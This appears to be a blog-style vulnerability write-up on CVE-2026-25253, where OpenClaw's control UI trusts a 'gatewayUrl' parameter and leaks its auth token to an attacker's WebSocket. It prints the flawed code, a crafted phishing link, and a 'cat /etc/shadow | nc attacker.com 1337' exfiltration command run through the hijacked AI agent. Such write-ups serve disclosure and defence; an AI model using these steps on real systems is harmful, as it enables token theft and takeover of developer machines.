Feb 3, 2026·6 min read·570 visits
OpenClaw trusted the 'gatewayUrl' query parameter without validation. Attackers can craft a link that, when clicked by a logged-in user, forces their browser to send their authentication token to a malicious WebSocket server. This token grants full control over the AI agent, leading to immediate RCE.
A critical logic flaw in OpenClaw (formerly Moltbot) allows attackers to perform a one-click Remote Code Execution (RCE) attack. By manipulating a simple URL parameter, an attacker can force the OpenClaw frontend to initiate a WebSocket connection to a malicious server and—in a stroke of helpful stupidity—immediately hand over the user's authentication token. This allows the attacker to impersonate the user, hijacking the AI agent to execute arbitrary commands on the host machine.
We are living in the golden age of AI Agents. We build tools like OpenClaw (formerly Moltbot) to automate our drudgery. We give them access to our file systems, our Docker sockets, and our cloud credentials so they can "help" us write code and deploy infrastructure. Essentially, we are installing a high-privileged remote access trojan (RAT) on our own machines and calling it productivity.
But here is the catch: when you install a tool designed to execute commands and modify systems, the authentication mechanism protecting that tool becomes the single point of failure between a happy developer experience and a total compromise. OpenClaw is a web-based interface controlling a local agent. It needs to talk to that agent via WebSockets.
CVE-2026-25253 is the story of what happens when that communication channel is too trusting. It is a reminder that while we worry about AGI taking over the world, we should probably worry more about a 10-line JavaScript bug that lets a script kiddie take over our laptops via a single link.
The vulnerability lies in the OpenClaw Control UI, the frontend interface where users chat with their AI minion. To make the tool flexible, the developers allowed the frontend to connect to different backend gateways. They implemented this via a URL query parameter named gatewayUrl.
The logic was simple: check the URL for ?gatewayUrl=... and connect the WebSocket there. The problem? Zero validation.
This is a classic "Confused Deputy" problem combined with a lack of sphere isolation (CWE-669). The application assumes that because the user is visiting the trusted dashboard, the parameters in the URL are also trusted. It fails to realize that the URL is actually attacker-controlled input. If I send you a link to your own dashboard but append my server as the gateway, the application dutifully obeys.
But connecting to a malicious server isn't inherently fatal—browsers connect to strangers all the time. The fatality comes from what happens immediately after the handshake.
Let's look at the JavaScript that caused the meltdown. It is almost tragic in its simplicity. The frontend code grabs the parameter and immediately opens a socket:
// 1. Trust the input blindly
const urlParams = new URLSearchParams(window.location.search);
const gatewayUrl = urlParams.get('gatewayUrl');
// 2. Open the door
const socket = new WebSocket(gatewayUrl);At this point, the victim's browser has opened a WebSocket connection to wss://attacker.io. But here is the coup de grâce. The application tries to authenticate itself to this new "gateway" to prove it has permission to execute commands. It does this by pulling the ultra-sensitive JWT/token from local storage and hurling it into the void:
// 3. Hand over the keys to the castle
socket.onopen = () => {
socket.send(JSON.stringify({
type: 'auth',
token: localStorage.getItem('token') // <--- GAME OVER
}));
};There is no check to see if gatewayUrl matches the origin. There is no whitelist. There is no "Are you sure you want to connect to evil.com?" prompt. The code just assumes that if the URL is there, it must be right. It creates a direct pipeline effectively piping localStorage.token > attacker.
Exploiting this requires no complex memory corruption or race conditions. It is a pure logic attack. Here is how a threat actor weaponizes this against a developer using OpenClaw.
Phase 1: The Trap
The attacker sets up a simple WebSocket server listening on the internet. Its only job is to log incoming messages. The attacker then crafts a URL. If the victim's OpenClaw dashboard is hosted at http://localhost:3000 (or a public domain for hosted versions), the malicious link looks like this:
http://localhost:3000/control?gatewayUrl=wss://evil-hacker.com/drain
Phase 2: The Lure The attacker sends this link to the victim via a Phishing email, a Discord DM, or embeds it in a hidden iframe on a malicious website ("Click here to update your drivers!").
Phase 3: The Heist When the victim clicks the link:
wss://evil-hacker.com/drain from the query string.{"type": "auth", "token": "eyJhbGciOi..."}.Phase 4: RCE The attacker now has the token. They disconnect the victim and connect to the real OpenClaw gateway using the stolen token. Since OpenClaw allows the user to run shell commands (that's its job!), the attacker simply sends:
{"command": "exec", "payload": "cat /etc/shadow | nc attacker.com 1337"}
Why is this an 8.8 High severity? Because of the target demographic. OpenClaw isn't used by random web surfers; it is used by developers, DevOps engineers, and sysadmins.
When you compromise an OpenClaw instance, you aren't just getting a shell on a random container. You are likely getting a shell on a machine with:
~/.aws/credentials.The impact is absolute. Confidentiality, Integrity, and Availability are all effectively surrendered to the attacker the moment that token hits the wire. The fact that this requires user interaction (1-click) is the only thing keeping it from being a 10.0.
The remediation in version 2026.1.29 introduces the cynicism the code originally lacked. The fix involves two main layers of defense:
gatewayUrl matches the origin of the UI. If you are on localhost:3000, the websocket better be on localhost:3000 too.For users unable to patch immediately (though you really should), the only workaround is network segmentation—ensure your OpenClaw dashboard is not accessible from the wider internet and be extremely paranoid about clicking links that look like your own local tools.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
OpenClaw OpenClaw | < 2026.1.29 | 2026.1.29 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-669 (Incorrect Resource Transfer Between Spheres) |
| Attack Vector | Network (Web) |
| CVSS Score | 8.8 (High) |
| Impact | Remote Code Execution (RCE) |
| Prerequisites | User Interaction (1-Click) |
| Exploit Status | PoC Available |
The product does not properly check the destination of a resource transfer, allowing the resource to be transferred to an actor in a different, untrusted sphere.